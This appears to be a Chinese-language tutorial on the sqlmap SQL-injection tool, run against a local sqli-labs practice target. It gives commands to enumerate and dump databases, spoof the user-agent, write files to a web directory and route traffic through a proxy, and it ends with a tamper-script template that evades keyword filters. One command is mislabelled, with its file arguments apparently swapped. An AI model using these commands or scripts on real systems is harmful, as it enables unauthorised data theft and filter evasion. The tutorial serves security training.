官方地址:Tags · sqlmapproject/sqlmap (github.com)
文章目录
简介
SQLMap 是一个开源的渗透测试工具,专门用于自动化检测和利用 SQL 注入漏洞。它具备强大的功能和灵活的使用方式,适合安全研究人员和渗透测试人员使用。
基本知识
- 脚本存放路径在sqlmap的当前路径的tamper文件夹中
- 结果或者日志存放在C:\Users\Administrator\AppData\Local\sqlmap\output
- 数据库爆破时的字典是在data\txt这个文件夹的
使用教程
-
普通注入
-
示例数据库结构:
靶场:sqli-labs 第一关 [*] 123456 [*] challenges [*] demo01 [*] information_schema [*] mysql [*] performance_schema [*] pikachu [*] security | emails | +----------+-------------+ | Column | Type | +----------+-------------+ | email_id | varchar(30) | | id | int(3) | +----------+-------------+ +----+------------------------+ | id | email_id | +----+------------------------+ | 1 | Dumb@dhakkan.com | | 2 | Angel@iloveu.com | | 3 | Dummy@dhakkan.local | | 4 | secure@dhakkan.local | | 5 | stupid@dhakkan.local | | 6 | superman@dhakkan.local | | 7 | batman@dhakkan.local | | 8 | admin@dhakkan.com | +----+------------------------+ | referers | | uagents | | users [*] sys
-
爆破所有数据库名
-
payload:
python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --dbs
-
-
爆破表名
-
payload
python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" -D "security" --tables
-
-
爆破列名(字段)
-
payload
python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --columns -T "emails" -D "security"
-
-
爆破数据
-
payload
python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" -T "emails" -D "security" -C "id,email_id" --dump
-
-
-
无应答注入
-
在注入过程中通常会询问’yes’ or ‘no’,添加参数则设置为默认状态
-
payload:
python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --batch
-
-
数据包注入
-
注入水平与风险程度
-
刷新缓存
-
当前数据库名称
-
payload
python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --current-db
-
-
数据库用户权限
-
数据库用户
-
打乱默认指纹
-
payload:
--user-agent "" //自定义user-agent --random-agent //随机user-agent --time-sec=(2,5) //延迟响应,默认为5
-
-
执行数据库命令
-
读取文件
-
payload
python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --file-write "D:\phpstudy_pro\WWW\demo01\xiaodi.php" --file-dest "c:\test\1.txt"
-
-
设置代理
-
payload
python sqlmap.py -u "http://127.0.0.1/sqliab/Less-1/?id=1" --proxy "http://127.0.0.1:8080/"
-
-
脚本使用
-
payload
python sqlmap.py -u "http://127.0.0.1/demo01/sqli/base64.php?id=MQ==" --tamper=base64encode.py 脚本名称可在tamper文件夹找到
-
-
脚本制作
-
使用说明
- 我们可以看到模版那里有很多reolace函数,这些是字符串替换函数,例如replace(‘SELECT’,‘sElEct’)是将SELECT替换成sElEct,现在因该懂了吧,就是自己找到绕过的方法,通过替换来进行绕过,从而顺利执行sqlmap
-
模版
#!/usr/bin/env python """ Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.convert import encodeBase64 from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Base64-encodes all characters in a given payload >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """ if payload: payload = payload.replace('SELECT','sElEct') payload = payload.replace('OR','Or') payload = payload.replace('AND','And') payload = payload.replace('SLEEP','SleeP') payload = payload.replace('ELT','Elt') return payload
-